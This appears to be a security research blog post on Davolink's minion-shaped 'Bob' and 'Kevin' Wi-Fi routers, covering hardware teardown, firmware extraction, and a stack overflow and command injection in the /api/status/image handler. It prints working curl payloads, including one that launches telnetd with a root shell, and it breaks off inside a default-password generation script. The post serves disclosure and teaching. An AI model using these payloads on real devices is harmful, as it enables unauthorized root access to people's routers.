At a Glance
We make an in-depth review of the popular Wi-Fi routers themed as “Kevin” and “Bob” from the popular Despicable Me and Minions movies. Looking for overflows and command injections, we found unique firmware that included those, as well as an information disclosure, low-entropy authentication management, and even a backdoor account.
You’ll see:
Why it matters:
Relying on the idea that adversaries will never get ahold of your firmware is not a sufficiently protective security practice. Much of what we found here secures devices only as far as no attacker is willing to go to develop their understanding of it. Here, we explore classical embedded server implementation risks as well as unique design implementations that import their own concerns.
They didn’t make it easy for us. It was easier than Battletoads but harder than Level 57 of Bubble Bobble. We got there eventually. The Davolink “Bob” router is built on the RTL9607cv2 board using the RTL8198D CPU and the Linux kernel and is meant to operate as a small-office, home-office router suitable for working, streaming, and gaming requirements. It does. K logix decided to investigate the security posture associated with this router as it seemed as if there had not been many recent writeups related to its release, and the capacity for memes is unlimited.
This work was done primarily between April and May of 2026 on firmware version 1.00.04, which was believed to be the latest. At the time, three “Bob” routers along with one “Kevin” as part of the testing effort. (May the two Bob routers that succumbed to soldering injuries rest peacefully.) Attempts to use the “firmware update” option to obtain the latest firmware were unsuccessful, so we tested on the firmware that shipped with our devices. Prior to release, Scorpion Labs carefully reviewed Davolink’s support forum in English and using Google Translate to browse the Korean support forum. The content is not the same.
It was discovered that there may have been an issue with updating [a] that was resolved later than the discovery of these exploits [b], and firmware update 1.00.16 patches the flagship bug that is presented here – a command injection vulnerability in the handler for /api/status/image – as well as another potential issue in /api/status/country – by various logic gates such as quote-escaping. The research is still valid as an academic exercise as it discovered unpublished bugs and all the other security concerns are still present in the latest firmware, but the command injection identified here is completely patched.
Don’t be too concerned though: there’s another bug presented at the end of the article that is verified to exist in the latest.
I guess that’s two Bobs and one Kevin, but “minions” implies there’s more than one.
“Bob” is a Dual Band Gigabit Wi-Fi Router made by the South Korean company Davolink in the shape of a minion from Universal Pictures’ Despicable Me and Minions series. (“Kevin” can handle an additional traffic band and the internal hardware is a little bit different, but the vulnerabilities described here also exist in that model.) There aren’t many CVEs out for Davolink products, it doesn’t look like there is an OpenWrt release for this equipment, and firmware isn’t easily accessible online. (One researcher has done a lot of work on Bob, but we don’t find much evidence of it having been released.) We thought it’d be a worthwhile candidate to explore a new router and make a bunch of memes, and we weren’t disappointed.
Here’s what Bob looks like inside:
Not sure the minions from the movies looked like this inside.
That casing is to hold the primary chip inside of the exterior (“Bob’s skin”) casing, position and connect the antennas, and hold the heat sink in place. Here’s the chip itself, without the heat sink:
Under the hood it’s a rather standard Wi-Fi board, though that flash chip would prove tough to get to.
We already have some idea of what we’re looking at; those two chips on the left support the wireless card (the two pins slightly to their left are leads to antennas to support the twin-band wireless feature), the huge silver chip is the primary processor, and the 8-pin Winbond chip right beneath it is the flash memory. At first sight it looks like the four pinholes in the bottom right corner are going to be a serial/UART interface- and they are- unfortunately the console is read-only, and I can only see boot logs. Still, I can tell that the machine is the MIPS-based RTL8198D and the kernel is Linux-4.4.140-svn1622.
Getting to the software/firmware? Oh man, what a ride- I literally flew up the Atlantic coast device-in-hand because Scorpion Labs’ chief+pilot+hardware reversing expert happens to be my boss and a skilled aviation engineer who built his own kit aircraft,[JD3] [DB4] so you’ve got to believe he brought the soldering skills you’d expect of an aviation engineer:
Remember how small this chip was from the picture of the board? That’s some masterful soldering.
It’d be a kind lie to tell you that was the end of it but nope—he brought the entire flash chip under instrumentation with a level of entanglement that can only be described as a mix of the Grecian Hydra with solutions to Schrödinger’s Wave Equation:
It’s like Spiderman had a child with a spool of electrical wire.
Before we get into an analysis of the bugs, let’s go over a refresher on basic software reverse engineering (without source code). If you’re already comfortable with this topic feel free to skip this section.
Finding command injections in SRE: a braindump. Once you've got the target software/firmware:
|
sprintf(acStack1776, "/bin/echo %s", param1); system(acStack1776); |
A classic pattern of “write user input to a stack parameter and run it as a command”. Here, arbitrary input to param1 would allow a command injection by using shell metacharacters to place commands after /bin/echo.
That means a string is being written to acStack1776 (a buffer allocated on the stack, but it could be anywhere as long as the space is allocated). That %s means that sprintf is trying to pack some kind of null-terminated string in there, and the param1 argument tells you that this function is going to put whatever is in param1 in the formatted string and send it onto the command line.
That's just command injections. If you're completely stranded you might have to start looking for uncontrolled sprintf, sscanf, and of course, strcpy or memcpy. Have fun!
Their web server appeared to be entirely “homebrew”–I am unable to trace it back to any open-source web server or any software development kit (SDK). Luckily two things came together for this router: they didn’t strip the binaries of symbols and left function names in, and they’re defined right in main:
If only all web app analysis could be so straightforward.
Several things jump out:
Once I had the firmware, here was the process:
This is the kind of thing that looks really promising:
A promising, but ultimately false, lead.
… but it’s not. This process flow is unexploitable because web traffic can’t get to that endpoint because of upstream web architecture design. (It may be possible for a return-based exploit to jump to this code, though.) However, the following instance is exploitable:
Two bugs in one!
This handler copies arbitrary user input into a user buffer of two characters- which is its own concern that has been demonstrated. The json_unpack function takes three arguments: a “format specifier” for the JSON payload of the expected input, the address of the “key” specifier, and a pointer to a variable to store the “value” for that key. In this case, &DAT_00465648 is the address of the null-terminated string “bank” and local_10[0] is the address of where the value is stored. This is a comically small stack, with only one local parameter (it’s obviously expecting an input like {"bank":"1\0"} but backtracing the function to its web handler shows that there is no sanitization or validation of the web request prior to hitting this function. (Edited to add: this got updated between firmware versions 1.00.04 and 1.00.16.)
Running the following commands:
|
pi@raspberrypi:~/sectest $ PAYLOAD=`python3 -c 'print("A"*256)'` pi@raspberrypi:~/sectest $ curl -XPATCH 'http://172.20.1.1/api/status/image' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.9' -H 'Accept-Encoding: gzip, deflate' -H 'authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZGRyIjoiNjA6Mjk6RDU6ODU6NTc6QTAiLCJleHAiOjE2NDY1LCJpYXQiOjE1ODY1LCJpc3MiOiJkYXZvbGluay5jby5rciIsInBlcm1pc3Npb24iOjAsInN1YiI6IndlYiIsInVzZXIiOiJib2IifQ.9VvB9FrdN8ri-6T1bGpVSbOaVdE9XtfQ85wi6t8ZGyo' -H 'Connection: keep-alive' -H 'Referer: http://172.20.1.1/home' --data "{\"bank\":\"$PAYLOAD\"}" { "status": 200, "detail": "success", "data": {}} |
… results in this being returned a moment later:
|
pi@raspberrypi:~/sectest $ curl http://172.20.1.1/ curl: (7) Failed to connect to 172.20.1.1 port 80 after 161 ms: Couldn't connect to server |
The stack is smashed.
Luckily, the web server comes back after a short period of time, indicating that there is either a watchdog process or I just locked a thread. A crash and a watchdog process can be used as an ASLR bypass for a return-oriented exploit, as an attacker can just get one valid value for a load point of libc, locate their gadget offsets, then keep throwing the exploit until the web server launches with libc at that location. Like most routers, this chip is 32-bit Linux, which uses 8 bits of entropy (at most) to find load points, so this approach will overcome ASLR in an expected 256 throws, if necessary.
This method also sends user input to dvs_call, which is simply a wrapper around system, resulting in a command injection. Even though this leaves the stack in an unrecoverable shape, execution reaches dvs_call prior to this function returning. The testing team used the above request with the following payload to send pings to ourselves from the router.
|
pi@raspberrypi:~/sectest $ PAYLOAD="-klogix; ping -c 4 172.20.1.28; #" |
The -klogix argument is to hopefully stifle /sbin/primaryboot with invalid arguments—then our command runs—then ; # prevents the reboot. It all worked. An even better option is:
|
pi@raspberrypi:~/sectest $ PAYLOAD="-klogix; /bin/telnetd -l /bin/sh; #" |
Then just Telnet into the device to reach an unauthenticated root shell.
The best made plans of mice and men often go awry.
Time to see if we can drive this to an unauthenticated sequence. (Naturally you will likely have to be authenticated to the LAN side, but there is an option to enable remote administration of the device on 80/tcp, 8000/tcp, and 8443/tcp for SSL on the WAN interface, which could place the web interface on the Internet. Alternatively, operating the device in bridging mode places the administrative interfaces on the WAN interface natively.) Anyway, there is a script on the device at /usr/sbin/get_upwd that describes how the default passwords to both the Wi-Fi and the user management interface passwords are generated. I’ll spare you the entire script, but there is a reproduction in our GitHub repository on the topic. Here are some important details:
|
#!/bin/sh
generate_p() { local SN SNH SNP PW idx SN=$1 MAC=$(echo ${2:-000000} | tr -d ':') MAC=${MAC:$(($ |